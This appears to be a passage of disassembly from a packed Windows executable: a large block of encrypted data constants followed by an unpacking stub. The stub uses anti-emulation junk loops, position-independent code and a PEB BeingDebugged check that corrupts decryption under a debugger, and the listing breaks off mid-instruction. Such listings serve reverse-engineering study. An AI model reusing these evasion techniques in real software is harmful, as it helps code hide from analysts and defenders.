5DEB5F41h, 9AE057CEh, 422BDEDCh, 92B62725h dd 318583B6h, 7B31EA33h, 7EBD7466h, 0BC512197h, 92319ECCh dd 851D6CE6h, 50B921D1h, 0CDB637E7h, 0A48D6F12h, 57760C1Ch dd 0D5281336h, 0EE693A61h, 71DC002Ch, 0DD58073Ch, 43DDCBC6h dd 44E264F5h, 2E6C82A6h, 1815243h, 350A6E5Ch, 154405E1h dd 0A93A4A6Eh, 0BD7FD2C9h, 9EDE0664h, 0EACC8B51h, 91865724h dd 44930D8Dh, 0C702785h, 4764059Dh, 9C59B2F6h, 51936E4Fh dd 71328676h, 0E12188A8h, 531D6851h, 10AA8315h, 1852CC52h dd 0A9C3557h, 0F37E141Eh, 66B21DA4h, 9C3D4015h, 8B171A25h dd 0A7A7C867h, 0DD86A207h, 69289CBCh, 697E2A60h, 20F25D3h dd 0AB0C6ACAh, 0F93519BBh, 7A94A043h, 0C46048BCh, 57FFAF5Ch dd 0C34144E0h, 234BA82Eh, 6D3DAEF6h, 0CCA42C0h, 0F4C596D5h dd 0FA819C03h, 6FB79BA2h, 89F5EAA2h, 9962B3E9h, 3DB74A0h dd 9B9993A6h, 4F7A6C7h, 5244F032h, 0AB1C6E7Ah, 8B45843h dd 51E96135h, 4A63CC10h, 56C88EE7h, 0BA5C1478h, 3A8DCB02h dd 8F64ED10h, 0E0BBD6C7h, 0A2606C2Dh, 6E087D1Eh, 0B361D4ACh dd 6A579D27h, 7759C8F7h, 3559EAEh, 3D6A66A2h, 62CBCA25h dd 3E0D27ACh, 2A025427h, 4D8BCBFh, 0FD54FB23h, 664E906Fh dd 0F0FDF490h, 9BF1B7CDh, 3EB021DEh, 3B6793F8h, 187BC4EFh dd 0BF13097Ch, 9751A4A8h, 6F3E737Ah, 0EAA8905Dh, 1FC6ADB2h dd 8CE1EE30h, 0E360779Dh, 0F343BC02h, 83E69AB4h, 0E139E83Ch dd 2C84516Eh, 54E8285Dh, 97AD463Fh, 1B826F0Dh, 0D5ACDAFDh dd 0E2ED179Fh, 5DDB0A85h, 0B97B576Bh, 0D11DED10h, 83816625h dd 0D4DC870Fh, 0E8D01B71h, 0AFABACE3h, 0BEE47E17h, 9BA0A2F7h dd 7789225Fh, 0C026F25Ah, 0C3118907h, 1A85E1BEh, 0AFEE3FE2h dd 1CB562A7h, 8D174D57h, 0A81E5751h, 6606B985h, 461D77F3h dd 7406FF61h, 219310AEh, 0D2D68394h, 0EDEAE263h, 0A0C05D35h dd 0FD3E4E5Ch, 0E4D989E1h, 7925F003h, 6F55F944h, 7547C664h dd 516024FAh, 4CA33AB9h, 0B1C2C5D0h, 25961BAh, 61C34231h dd 18F85D0Eh, 5CB8953Bh, 0BB35B12Ch, 48DF034Fh, 0EA2D370Dh dd 0D55B6B7h, 0CF7B308Ah, 8EC74419h, 94C218DEh, 1204490Bh dd 3C9F4FBFh, 406D8AC6h, 9EB327FFh, 0E4E7C842h, 59DC6BAEh dd 0AF88AE4Bh, 7BC65B7Dh, 954702D5h, 27536017h, 779D4C5Dh dd 50C5CE41h, 0EB72A76Eh, 68C523E4h, 0D61B9AC6h, 0D19C1F6Bh dd 55930F33h, 7367407Ch, 28AFD4CDh, 0D644F072h, 2AFA11CBh dd 0B83AC1BDh, 0FA83A81Fh, 258B8EEAh, 166B6E4Dh, 8C565D39h dd 311991EBh, 0E55E2F47h, 0ACEBB132h, 68B4A9E7h, 8A2B1A86h dd 344C89ECh, 7559E2B3h, 0A7FF3554h, 7A6FDCC4h, 0E8586647h dd 0C887D5Eh, 0E2852615h, 3617E9B8h, 7AF03456h, 39398B7Fh dd 0F6F33C54h, 4D888EC8h, 0DECDFA34h, 0BCB95A84h, 1B465F0Fh dd 4E5497BEh, 409699B0h, 76EF54BEh, 580780E1h, 0C5F7A07Dh dd 561ED54Dh, 60CB0B3h, 0E80C1818h, 65E73B68h, 0EE1A1DF1h dd 57E29294h, 6DE5F101h, 0A28F838Eh, 0D398F805h, 119E0989h dd 268D736Dh, 48DD9519h, 0D5CDFED3h, 17FC1FFAh, 0BB5145BAh dd 0F0B13780h, 0C8809C04h, 0FF4792BAh, 0C3C5BCDAh, 0A5B7A1D8h dd 70E9C3C8h, 1FCE82C9h, 2CC7DDAEh, 0B03845DBh, 0B919913Bh dd 3E01959Ch, 6A14B97Ch, 0E8217DF3h, 2A1AA2E8h, 91FCD109h dd 0DE891F9Ah, 64AEA139h, 7156C6EEh, 0A2DAA5E4h, 31DC522Bh dd 1148433Ah, 0C484D147h, 0FB275C06h, 0C4AA0962h, 0C79A43C5h dd 3440492Ah, 0A7F9E462h, 0BEAF3E64h, 0C538647Eh, 0F9A4BAE7h dd 8B1B5A67h, 914A26D9h, 0CF7AED34h, 0D1A76477h, 0C3EA9372h dd 0B432C8E4h, 532E7B69h, 26C56457h, 0CA088619h, 44BB211h dd 0DB0CE47Bh, 4099ED56h, 765E45E8h, 0ABD50837h, 5ABBF7Ah dd 0BDC102EDh, 0C4D9F819h, 5B854719h, 0A39E2774h, 1112EB0Bh dd 4350394Ch, 0A48ED8B8h, 0E77CDD30h, 0E5D18B75h, 0A0308229h dd 0ADD7BB22h, 0D213FEE8h, 84E83194h, 7F0A49h, 592D72F3h dd 91EF6146h, 7F48C9C7h, 0EADEEB83h, 9A4CE73Fh, 24A91314h dd 0E3C25D49h, 1B9A5386h, 0A1994506h, 88073DD1h, 13D1B951h dd 0FCE17887h, 253D6D62h, 4853E5AEh, 0A4FB38C0h, 0DD252F32h dd 86818A23h, 0E2CBC524h, 5D3A03BEh, 39EDC111h, 0E600022Bh dd 0A9A028C0h, 3949788Eh, 3696A930h, 0C35B9F89h, 27BEFBE4h dd 4778BA30h, 0EC123CDFh, 75B045F5h, 9FB99981h, 758CCE72h dd 5B36CC20h, 71B6646Bh, 55E98626h, 46AF5F0Fh, 7ECB103Ah dd 9FF5E1EBh, 2A525FB7h, 0EA23059Fh, 0BFC6285h, 2C30C051h dd 5F94E687h, 7D627595h, 3388C86Eh, 9B95B9D6h, 0A7BEFF0Ch dd 7405B305h, 21F90A3Dh, 0AC0C8BE7h, 0B8D6A044h, 0AC9C9B7h dd 1F54A510h, 0D7198A08h, 2957287Fh, 108F2DEBh, 8B0AE0C4h dd 0E02B8967h, 0BDD38C8Ah, 15B4FE6Ah, 0D27DE969h, 0B18A3FC0h dd 780E5572h, 249210D6h, 6440E957h, 2FD203CFh, 5CF48E13h dd 454F6EA2h, 0BBD540C9h, 2115E743h, 0DC3AE4A9h, 21ED86D7h dd 6F03A923h, 8F3A91AAh, 0D7564DE5h, 0AFA5F69Ch, 969F26h dd 81103CA5h, 0AD8BAE67h, 0E69B9A29h, 9037F179h, 87261EFCh dd 5AF7DD0Ch, 5A55AD9Dh, 17420EA5h, 0BAE83E0Fh, 3610C87Bh dd 0E70A74E0h, 921E8B8h, 1ACA9681h, 7326C025h, 0B97EF3DEh dd 0B501044Fh, 63F9FD4Ch, 47787106h, 0D7BC14DAh, 3F98E7C6h dd 0EE18FD24h, 0E3A4A01h dd 0EFE7F8CFh, 321BB8CFh, 9DA967F6h, 0FFCD1704h, 9E9250D1h dd 0C386D533h, 0FBC0EA96h, 716307CBh, 0D8E03633h, 0AC01142Ah dd 0B909423Eh, 98492CBAh, 4A6C579Eh, 1488FF65h, 0E30ECF5Bh dd 0C57C6650h, 65CDA4CFh, 2D24EF3Fh, 2EDDD6B8h, 5E6B974Fh dd 20829B59h, 374E2700h, 80B80077h, 63E95A0Dh, 41BCC08Ch dd 454FA000h, 0C86B0BAFh, 4AB5B6FBh, 0EDEB9DC8h, 0DAC75BFCh dd 2DF72224h, 0DFCF2D04h, 0DEF49730h, 4777D830h, 24460E3h dd 3979C972h, 97723EF4h, 44A22D1Dh, 132BFD4Eh, 524F5BC2h dd 51D82548h, 0E75EF608h, 139F48B8h, 0C1D8FBF5h, 84463A24h dd 0B4443E0Ch, 61ECCF98h, 70212E3Eh, 0A99A6F14h, 2C8F4D6Ah dd 9CE10FDh, 0FF9A33CAh, 5723756Bh, 0E2475A69h, 8B4227AFh dd 2DDA7E7Dh, 0C783B4F4h, 0C4ACF84Dh, 63EFED1Bh, 0BC5FF86Ah dd 0FFAB5FFFh, 7067E73Ah, 3B990140h, 0FB27726Dh, 6CA6A3F9h dd 2B6A05C6h, 0BB307E1Ch, 36BFDD50h, 0D6561D1Ch, 547C9D12h dd 24EE13BAh, 6537C7DAh, 9898E4EAh, 0FE4E754h, 576E9D04h dd 0C1034053h, 244ED288h, 0EF99B2E1h, 0A738645Bh, 0A80FC51h dd 1BB9A67Fh, 0EE7CDF2Eh, 4DA22CE5h, 4DE6B44Ah, 0EB00330Bh dd 0B4138D96h, 9B54413Fh, 9C26D8CBh, 8828AF4Ah, 8DD022A9h dd 8C2EF706h, 0CC2EEC01h, 537AB6ADh, 235FF5FCh, 24C2D1CAh dd 0EFCB607Ah, 52E36024h, 0E27776EDh, 103058Bh, 89064B49h dd 5B38B9E7h, 4A6E1A22h, 0C650D87Eh, 0DCF5106Dh, 60842AE8h dd 0EF55954Fh, 0C9D1460Eh, 560E4971h, 10EA8E9h, 9B5B4BECh dd 468E71Ah, 0A2AA434h, 0E3BE8F36h, 4424F678h, 88A66DD1h dd 638D453Ah, 0E8A6A42Bh, 0BE3E8491h, 0BC78A1EEh, 0E69F93C6h dd 0D3F5EEE3h, 0E8048870h, 4CFA102Fh, 0ABE18205h, 0C5C50C61h dd 788638BCh, 0B60DCA78h, 2FD261F4h, 0CDC27208h, 9051AC2Ah dd 0EB62CAF6h, 7A2E4ECFh, 67DDC08Dh, 4861F79Ah, 6639B0BDh dd 0C5621E02h, 583D0DEEh, 0E05B1D74h, 98B0056Bh, 0DC90B5C7h dd 0CC8F6EC3h, 0D91314Ah, 31914F2Ah, 0D8C0D775h, 67A96559h dd 84D35E56h, 8E8DB6EEh, 90C7D012h, 47AD321Eh, 545D140Eh dd 7D90CAACh, 7DA98062h, 2CBE2D3Dh, 0C3B6CC0Ch, 98C11659h dd 0A8874CA7h, 0B612A513h, 384A28ACh, 53E82CA7h, 3F3E5340h dd 28683408h, 0C930B357h, 0B546F728h, 9E097866h, 105D9FFh dd 485013A7h, 5C2EF12Ah, 0A8B3C122h, 4869C98Ch, 0F7E7DCC4h dd 0EA569637h, 7BD3EFACh, 0A0A4515Ah, 9DBFC623h, 0FEA19122h dd 0CAE07A43h, 2B4D8A17h, 44CCD03Ah, 4B84C14Ah, 64FA35CFh dd 0CEC2B0D2h, 1425ED76h, 6F0E1AAAh, 3B4210E0h, 71666DEh dd 46F8E171h, 0A2C54F95h, 0F651C824h, 1E5E1F2Dh, 0CF47654Dh dd 632DCA2Eh, 1F23010h, 3B12DC4Bh, 0CD94AB55h, 88F21210h dd 3086C23Bh, 0FB10D6EFh, 32495E8Fh, 604EFF6Dh, 82920DA0h dd 0C894FCFCh, 2F158173h, 26534C42h, 4515C294h, 73DA6D8Fh dd 1DD8A5E8h, 0BF6C08AEh, 6818F4CCh, 4FDBD695h, 5025CB4Dh dd 75163126h, 876B1908h, 16914A46h, 0B7D160AEh, 1A46D430h dd 2E74BBD0h, 9B6F6B63h, 0B1413345h, 0A9093681h, 937AD831h dd 8427F89Bh, 2507E409h, 769D6BCCh, 877EC915h, 0C8753799h dd 926BAF57h, 2A5BD529h, 7C009Fh, 3F01DC2Dh, 0C6E35C75h dd 72334F0Fh, 0DB507EF0h, 911DC3FAh, 602F3379h, 20E934ABh dd 0FAFE8ED3h, 0D738B0DCh, 0E7CD3F3Eh, 4D53BC45h, 4ECAE75Ch dd 0B797B809h, 0F1A0306Fh, 3D495C83h, 0C2020CC4h, 5DE2581Eh dd 0DB07EB3Bh, 8EF0B6DBh, 0E8F2A8CBh, 0B5E8E199h, 310B0960h dd 0DD51F7A3h, 10E74B4Dh, 0D82750D4h, 0FB1B1F26h, 5EF72794h dd 2565BB85h, 7F130924h, 0F00D0D8Dh, 5CAE2E2Bh, 248E3355h dd 0E099ADFh, 0D6DD45B1h, 47252757h, 4E732230h, 0F56D520Ch dd 383DC651h, 337DBA6h, 0F21C6A43h, 796AF2CEh, 67D61693h dd 0FB67F830h, 2485EB4Ah, 4261B4B7h, 6BEDF208h, 24FF538Ah dd 8DDA705Fh, 4DD63CA6h, 0CD7DDBDAh, 1EE49786h, 394DA658h dd 83B983FFh, 0D9EC2DA5h, 0DB7A9C49h, 7FC88223h, 0C66799D5h dd 48411FB1h, 0B8354B1Eh, 0F323F5C7h, 0BBC227A8h, 624BBD6Eh dd 27C21700h, 152EB322h, 69A002BEh, 66690D54h, 0BA5344BFh dd 71762880h, 0C751747Eh, 6EA2A303h, 86AAE2F8h, 0D1A0A688h dd 5E14A27Eh, 0DA993BA2h, 0AA7B546Bh, 0EF273DB4h, 567E0169h dd 0BC2807B7h, 82D632E4h, 6C39335Ch, 8683247Ch, 9C7683C8h dd 6B6498A7h, 8A0F3751h, 0A7B9550Ch, 98F8B4E8h, 92769E5h dd 0F31E04F2h, 9E1031E3h, 33D2AE01h, 68CB369Ch, 0BBEA62B7h dd 3652B74Ch, 0D665BC22h, 501D7C72h, 5A98B85Eh, 2703536Bh dd 0BFF96248h, 0EBB6C60Eh, 54975469h, 7F01F4E7h, 3AA8960h dd 0DDCA7F5Ch, 0C554D8B0h, 4975363Bh, 0C87F0CDAh, 9A52E4ACh dd 3B15C7B3h, 0D40A3CD0h, 0B3C67114h, 146B0AD0h, 44A66767h dd 5B999519h, 4D954A57h, 7638BA70h, 3EADD367h, 719092F8h dd 463BD9CCh, 0BAEEBED6h, 60087F6h, 0B4B28279h, 26A0175Dh dd 22BF5654h, 0C36D34DDh, 0D86D0218h, 0C1EC220Fh, 14CE888Ch dd 7EBD3E2Eh, 8AA5B4FAh, 0E3E85DE3h, 21452C03h, 0F4486414h dd 471681E7h, 0CEAACB61h, 4479ED3Ah, 9FBACA1Bh, 0B76DBE7Bh dd 0A92C33C6h, 0D1E0E462h, 92CE06E8h, 0BB673F52h, 9E0C22D1h dd 0E72373C8h, 0A0AD77DFh, 8524CEC3h, 0BD47F6DAh, 0A26F745Ch dd 0CC54B178h, 1AD09856h, 591EF02Fh, 0FB4B3067h, 57247EBBh dd 8D09992Ch, 1B46954Ch, 0ED7B76D6h, 678249Fh, 0D3DB2573h dd 405CF0A3h, 8A87BA44h, 7EEDBD22h, 0BB20CD5Ah, 165B5B66h dd 487CC7D6h, 9F375280h, 8858B3A0h, 26464D8Ah, 5F2C010Ch dd 8D2D5E44h, 65661230h, 415771E1h, 0BAFD799Bh, 0BE3598EFh dd 0AAED3295h, 10A26CE6h, 0F34E9388h, 6ED9E39h, 28878FFCh dd 81844473h, 0D9BE0C67h, 0CA2D056Ch, 7137B1BCh, 7C31873Eh dd 79D3782Ch, 9A8593F1h, 34F7892h, 15C9F284h, 0EBFDC6F5h dd 314A7A4Eh, 1F94557h, 5E48CF6h, 0A29289B1h, 76D83BB5h dd 1BA0720Dh, 0CD1E61C6h, 620D0C2Fh, 72C81F49h, 0F6A9719h dd 8C61560Bh, 733B3B18h, 9AA5A6FEh, 0FE2618CCh, 0FD9BE7A7h dd 0BD4F61BDh, 0A1CED640h, 0F7F21FCh, 0B09411Ah, 0C35A6F7Eh dd 10DFC2B8h, 68D3C2F9h, 0EAA630F5h, 536207C6h, 12F64A73h dd 22B4B24Bh, 87D82076h, 0D89DEA13h, 6E000C6h, 2CEE7CDDh dd 9551DB9Bh, 11F68C72h, 523D770Fh, 65BF0542h, 0B6DA3B49h dd 854C578Dh, 11536ACh, 4BFC8AE8h, 6460E52Eh, 6772A22Ch dd 23B0FBDFh, 0D2FDFCBh, 6C0F169Bh, 6A327800h, 2B5836F0h dd 498BEEE1h, 6B140F33h, 6E709667h, 9A1AE677h, 0FAE5459Fh dd 95F5A0EEh, 24B1D21h, 684BE255h, 0CCE17784h, 88624499h dd 0B10E3604h, 0E6315B4Ch, 94FAFF2Dh, 0C1494850h, 0CE51D7B7h dd 9FDB024Eh, 0DC04F32Fh, 3083CADAh, 0A397ABFEh, 0F77B9BCh dd 51636178h, 4CCF1B14h, 0CF6896FFh, 1C895C6Fh, 39D40B55h dd 3E267AA8h, 4EC73284h, 60BE2B53h, 708B9A69h, 16AA1991h dd 0EB21A004h, 0FD54ADABh, 0B0B1D173h, 14914BC2h, 0D9CC288Eh dd 0FB76E8B0h, 9CB51850h, 51C88750h, 0C10D0CCBh, 54A9996h dd 6F4E0A76h, 4E7191A3h, 0E1EA29C4h, 143A80F5h, 39A0162Ah dd 366FD58Ch, 78F24430h, 0BDCC1F82h, 0BA52221Ah, 18FA4C61h dd 98AA3BEFh, 0ABE0C24Ch dd 0CA77197Eh, 1E4C914Fh, 1EFEE008h, 5C9ED960h, 0B328EE3Fh dd 518D107Bh, 0E2C93AA1h, 995F9260h, 0C01339D3h, 1168A53Dh dd 4EAF2C47h, 3EB1B06Eh, 60C0F8BAh, 0C385B63h, 0F14E9741h dd 0D376CD09h, 0C7F81334h, 0F1D8059Ah, 8645A15Fh, 2B0D525Ch dd 0B2421795h, 0E34B5E99h, 0BA2B6743h, 678F07CEh, 0A57A89D7h dd 0E34F752Ah, 0EACAD223h, 3742BE2Eh, 0C5FB89F6h, 3CB4B3B7h dd 0B7FE1A3h, 0EAFA7DCDh, 0E4756D31h, 0E85FC585h, 6CE5CA33h dd 6DAA0D4Fh, 249F2FFDh, 8A9F3A21h, 0CAC0590Fh, 2470EA04h dd 31339721h, 8C0285D2h, 4EBBBFE3h, 194E4F0Ch, 0EE818CF5h dd 0B8EC09D2h, 0E1B14FEEh, 0C9844569h, 748D47C8h, 94BB064Dh dd 0BB8CA739h, 68F3264Ah, 0A2C14A2Ch, 7D1A15F8h, 0E8EFB93Dh dd 0DCF4594Bh, 8F3B49CCh, 680C9454h, 0B13153B2h, 5D104D62h dd 913DA9DCh, 0ABAE41D9h, 4B33DFB2h, 0F1574796h, 0E046A409h dd 0D0425432h, 0AA91180Eh, 192B3C6h, 5DE411E2h, 0ED060DB5h dd 3F426514h, 0E05275E3h, 0F114F24Bh, 976F2757h, 0DDAC22CAh dd 64E22FADh, 5E0CDC23h, 331D5B23h, 40DD4D1h, 5B0493C8h dd 80D49DECh, 3F5B1C2Ah, 3502702h, 4F699D5Ch, 85B76ECAh dd 71194C65h, 7F8DB0F3h, 0DE9FA86Dh, 91F5AA65h, 0F5713AAh dd 0BEAF466Fh, 0F6B7EEEAh, 0AE5F4104h, 445C1843h, 0DD3B1C30h dd 1EF9DEADh, 181DD1A1h, 9044FF1Dh, 0DAE8D318h, 0BD25CFA9h dd 405EC9B0h, 0E021E13Fh, 1C143F78h, 3329683Dh, 9171C49Eh dd 343443DCh, 587E802Fh, 0CED7C323h, 338FED42h, 5C7200A5h dd 0BF9717A3h, 0CBEB4AD9h, 0ADB91DCEh, 1DA5D1B7h, 0D78B8919h dd 9D24899Dh, 31B39664h, 5D3D67E4h, 301F647Dh, 15BF7C16h dd 4AC8F11h, 7DA99960h, 72D68CC8h, 0C6C5E590h, 6F6D3CFCh dd 287C8CE4h, 7BEC9974h, 0C6283C15h, 991E698Fh, 0BF51D298h dd 8FAFF4A2h, 2DEB50DCh, 4DE6D886h, 5A32AE28h, 0E4E3BA1h dd 0CFE02954h, 95E73E90h, 0ED08DFA4h, 0C9ED72EEh, 0DD94023Ch dd 5B845558h, 947ED177h, 0F53471EDh, 38288443h, 0DC995F63h dd 0D2ED2E0Dh, 0EA0856DBh, 0E101D77Ah, 62C43140h, 4F2769Ch dd 0BEEDBA66h, 2EB5C8Fh, 5A9B2670h, 0E381B097h, 2566979Ch dd 0A4A7016Fh, 2A961895h, 0CC24A613h, 0FFB7369h, 52D12AB0h dd 40913E3Ah, 5EDD9E8Fh, 0C911D5BCh, 0BC0A4082h, 0F7FAFFE2h dd 678E87BEh, 60BBED55h, 230CB462h, 0AE9EEE1h, 0ED8849CCh dd 8F2CABDCh, 12962ACDh, 301D81ABh, 5F23BBBEh, 0FC1C50B0h dd 0B5C1AE52h, 2CBB7FB3h, 47000CB4h, 0C2433A48h, 0ABD64EFAh dd 1F3118E5h, 55580C59h, 0C9961B07h, 2E8FD7AAh, 8B3DBAD2h dd 94ED05D1h, 160A2FEAh, 6E79A48Ch, 9193E094h, 1668847Fh dd 172E1D93h, 0B609A928h, 79694ED6h, 0C38830EFh, 810D4208h dd 9F9264CDh, 54C3E96Dh, 9A40C911h, 7B4C6630h, 0A11F39A8h dd 6A9DF85Fh, 0CA3AF611h, 976C0B3Dh, 0F1B41066h, 51A3AAB0h dd 0C874387Ah, 4BC200EAh, 0B4AFC5C1h, 217F33FDh, 3679AE33h dd 104A0151h, 7D3881DEh, 5C91AF26h, 0F676E2B4h, 0A1235BCh dd 0A3777AFEh, 0EC80F5A9h, 9899134Dh, 0DD4E398Ch, 0EE1DFE78h dd 89484F66h, 84631EA8h, 102F5808h, 2768B5Ah, 494F78B5h dd 0E3A828E5h, 9BBB3E1Ah, 34166B6Ch, 9B6C34CEh, 4B4BD005h dd 0A8A2D521h, 4BCE4EC7h, 96C7625Fh, 850C9C20h, 2D235191h dd 0A4CBE423h, 5C6101E2h, 0D363640Dh, 56C211DCh, 445A8737h dd 37F8ECDEh, 0E87A2749h, 5CD4F2Ch, 0D43742AFh, 5EB9066Ah dd 0B3035BF4h, 0FDDE18BCh, 0EF8CC4EDh, 7A991513h, 0CF29DB8Ch dd 522ACF2Eh, 1E4898Fh, 36ADE40Ah, 43D17D1Bh, 0AFF290F3h dd 60260727h, 21A0AB0Fh, 5D17D562h, 21979D49h, 0DB96478Dh dd 50F9A19Eh, 0BDBECE68h, 2FDD850Ah, 797B938Ah, 305D1438h dd 47AA9C96h, 2271E0B4h, 0CF49A27h, 0EC8C02E9h, 69C4B554h dd 0CDA6954Bh, 0A13C7EF4h, 0DCE311Fh, 89C9F533h, 10A0051Ch dd 70E0711Eh, 70A965C2h, 0E080BF94h, 6B980399h, 0B36CC5B5h dd 4C3140ABh, 317B90F4h, 133BE87Eh, 5A66BD9Ch, 0D4B61415h dd 92FBDC3Ah, 63384F48h, 9B5A73B2h, 0E8B43133h, 70985D9Ch dd 125816AEh, 7A1E7744h, 51BFDB63h, 9CEFC527h, 0F2D8B02Eh dd 0DB621932h, 103BECCEh, 0B4BE8B50h, 7EA39163h, 581CDBFh dd 0B8D1CD1h, 86B66889h, 87560911h, 0B7A36BDEh, 13222FDFh dd 4900B066h, 0C10072F8h, 0A7F7069Eh, 63C91862h, 7D49695h dd 716B58BDh, 31C7BF39h, 218FDEF3h, 93267D95h, 72B1A0D4h dd 0D3CC05C3h, 4E37C0F7h, 0CF6211E8h, 0B41117A3h, 84E0DE43h dd 8F3A7611h, 99C4648Ah, 0F5C64C2Eh, 0CC069194h, 0D5A10DCFh dd 0AB2F5D69h, 784FE017h, 5E9B873Fh, 7CB06EB3h, 774D21C5h dd 4790AED3h, 0D995D863h, 0D51EA584h, 33614E38h, 0BEE4934Fh dd 9CB5C73Dh, 0CE6AA421h, 1B8B9879h, 9226CF1Bh, 0BCAF90DBh dd 0A2B45FA1h, 3B6FB82Bh, 0EE1B46D3h, 36C37A4Ch, 5F3A0E10h dd 216A5440h, 0F3F1842Bh, 0EC39DB66h, 49E2E5E8h, 0CE5D6CF2h dd 0A4D0D799h, 0DF00A76h, 88EC604Dh, 0C3D51CBDh, 0FF233E4Ah dd 38B6B5A4h, 0EAE94A4Ch, 0DAE94907h, 5178B238h, 0B688D925h dd 3DCA5F89h, 239CB7FEh, 0A1EE2667h, 9D209031h, 58FF51Ah dd 0BDB33979h, 150CE8A4h, 8EC5E24Ch, 0EAEEB146h, 887B8198h dd 0FB41BC62h, 878C3CC7h, 7CF61754h, 0AAA08CC0h, 1C3357C8h dd 0D8763AE0h, 2A872173h, 0C494C2E4h, 3C8881BEh, 0C0E7072Eh dd 80E1E7Bh, 0D3580A29h, 69E0B2A7h, 6D8A2A0Dh, 0FFEC39B4h dd 2943261Eh, 4C7BC572h, 92F5D03Ch, 29A14569h, 8E075517h dd 3ECC841Bh, 0FC637DF6h, 5F29072h, 3C0094D8h, 7032024Bh dd 3FA491ECh, 974BB1E4h, 1373B4BEh, 915E83A0h, 0F92F9E96h dd 44C8B539h, 0EB3AA2EFh, 25C97E29h, 812952BFh, 27F7B94Bh dd 223C9FEAh, 613103Bh, 0ABB1B272h, 0DCA3D9A7h, 6679846Eh dd 3D271085h, 0F05D667Ah, 597A80A8h, 6A0C9AA8h, 0E0496A7Bh dd 7126CA81h, 7EC04B1Dh, 0FCD3461Eh, 0A14BF111h, 46D62FE4h dd 2062ECB8h, 0F60CD169h, 6C340308h, 2E420983h, 13EED6C8h dd 229D9291h, 60F08F34h, 0A36E4A3h, 5C8236E4h, 844A465Dh dd 0A9E18CE8h, 60DADE7Ch, 8003EF9Bh, 158F861Bh, 936AF5F7h dd 24151A2Fh, 0D0C0727Eh, 0F45C270Ch, 172000E9h, 0B21E60B0h dd 0D3BC8BD0h, 23477EA6h, 7F94D440h, 10FCD544h, 81B866C9h dd 1CD2FFD9h, 9C7CE666h, 0EF91E190h, 53E599E1h, 0B7EE614Dh dd 0BD46EB8Ch, 0EDCA8BDEh, 68793Fh, 0FC0EC33h, 964285Dh dd 3440113Ch, 11D21051h, 916F0893h, 9FDCAB1Bh, 2C13FA99h dd 964BA20Ah, 64D46A90h, 987640A0h, 0C2FC57ABh, 0AED95CBEh dd 8A40DF80h, 0C4005AB0h, 9454A85h, 2BB34301h, 3C630AAEh dd 0D9FBEE84h, 0B8879611h, 1148FE66h, 0BED76849h, 0E5AFBBBEh dd 0BDB3F928h, 56E647B1h, 38A09EA5h, 21F47F84h, 66B90BCFh dd 3E6F8DD6h, 8323D682h, 0CF0A570Fh, 685E1EBFh, 320B614Eh dd 959EBAD0h, 0E1B5214Ch, 709A3524h, 45ACE501h, 0DF938093h dd 0E42EFD0Fh, 976CC7D2h, 58C5AC69h, 0D736B11Ch, 3714604Ch dd 72F607C0h, 0D52C08C8h, 0BADBAA98h, 69A4EEC1h, 34940D30h dd 914FBB9Ch, 4E0A2E33h, 31CA5D2Fh, 954323C5h, 201A0333h dd 4C2164C4h, 7E4BD6C6h, 99FC09C5h, 5D5C9342h, 9B514ED8h dd 0DE7C4A69h, 23057B33h dd 0B1497A51h, 4AE68791h, 0AA3FCB31h, 4A876572h, 9166405Dh dd 1E48572Ch, 7FB69D4Fh, 87367FFh, 63BDD709h, 91CF9EDDh dd 0A08F0D6Eh, 68AF25BCh, 2ED95725h, 0CA15A74Dh, 78CD9CE2h dd 0FD6D995Dh, 24B88701h, 85A5B98Dh, 7F5CD93Fh, 5C8C7CA9h dd 0BA74CB3h, 0F6675C4h, 0F33F7690h, 0A4D1CD05h, 40E517B5h dd 355EC660h, 0AF103BDAh, 580D9E6Ch, 1B4888CAh, 6BAEB763h dd 8E9C9786h, 1E0A1E0Bh, 10C73DF5h, 0A0FC3E3Ah, 0D1570CABh dd 21B9B5CAh, 94D0F85Dh, 0B1B21858h, 0C543A9FFh, 0B0C9B05Fh dd 0FBA20EF3h, 0A35566E1h, 0AB923EDh, 6BCDF61Ah, 86997521h dd 32D1BA4Dh, 6A326505h, 570FA31h, 0E1E2CE46h, 698202C0h dd 61CF712Dh, 6ECAA79Eh, 67A90C9Ch, 0ED82806Dh, 54DF0C79h dd 0DB6C6CC1h, 0F3AACEB9h, 79A7AC9Fh, 8908BD0Fh, 972E5DACh dd 24426E36h, 17B10244h, 0BEEDF83Bh, 0BCD684CBh, 0A656ADC8h dd 0D1F9E5F9h, 3BB7A809h, 7909B197h, 80988942h, 0DAD942A7h dd 8EABE9D7h, 2476161Eh, 0B9D79C5Dh, 0A7468E01h, 0B4C6D17Dh dd 0E0E66B85h, 2DB771FDh, 0F2553A0h, 0CFD8FAE2h, 0D8B8884h dd 0D32F97FFh, 174B4597h, 23A3F0B5h, 4CF6A011h, 0BC8FEFC1h dd 26526044h, 22657CECh, 2A4337E7h, 465FB841h, 80FDD069h dd 4EF481F6h, 61C43FB2h, 67A87203h, 3FE1AD17h, 6DC2E293h dd 0A2ABBA95h, 2BB7729Fh, 0AF5BC8A0h, 8DD5704Fh, 1C9C3716h dd 8BAD0FC0h, 564B0E93h ; --------------------------------------------------------------------------- loc_46BC00: ; CODE XREF: DMN1:0046D5A0j push ebx push ecx push edx push esi push edi push ebp mov eax, 4000h mov ecx, 1000h loc_46BC10: ; CODE XREF: DMN1:0046BC22j xor eax, ebx sub eax, 0B0B1560Dh add ax, cx ror eax, 7 add eax, 0DEADC0EDh loop loc_46BC10 cld call $+5 pop eax mov ebp, eax sub ebp, 2Ah sub eax, 6AC2Ah lea esi, [eax+4106Bh] mov [ebp+2CAh], esi lea eax, [eax-1000h] mov [ebp+2A6h], eax mov edi, [esi+3Ch] add edi, esi mov [ebp+2B2h], esi mov [ebp+2B6h], edi pusha call sub_46BF18 popa mov eax, [ebp+2A6h] mov edx, [eax+3Ch] add edx, eax mov eax, [edx+28h] add eax, [ebp+2A6h] mov [ebp+2BEh], eax mov eax, [edx+50h] mov [ebp+2C2h], eax mov edx, [ebp+304h] mov [ebp+2BAh], edx mov eax, [ebp+2A6h] mov [ebp+2AAh], eax sub eax, [ebp+300h] mov [ebp+2AEh], eax mov ecx, [ebp+30Ch] mov esi, [ebp+2B2h] mov edi, [ebp+2AAh] push edi loc_46BCBF: ; CODE XREF: DMN1:0046BCCDj lodsb push ecx mov ecx, large fs:30h sub al, [ecx+2] pop ecx stosb loop loc_46BCBF pop edi mov eax, [edi+3Ch] add edi, eax mov [ebp+2B6h], edi mov eax, edi movzx edx, word ptr [eax+6] mov ebx, eax add ebx, 0F8h loc_46BCE9: ; CODE XREF: DMN1:0046BD1Ej xor eax, eax mov edi, 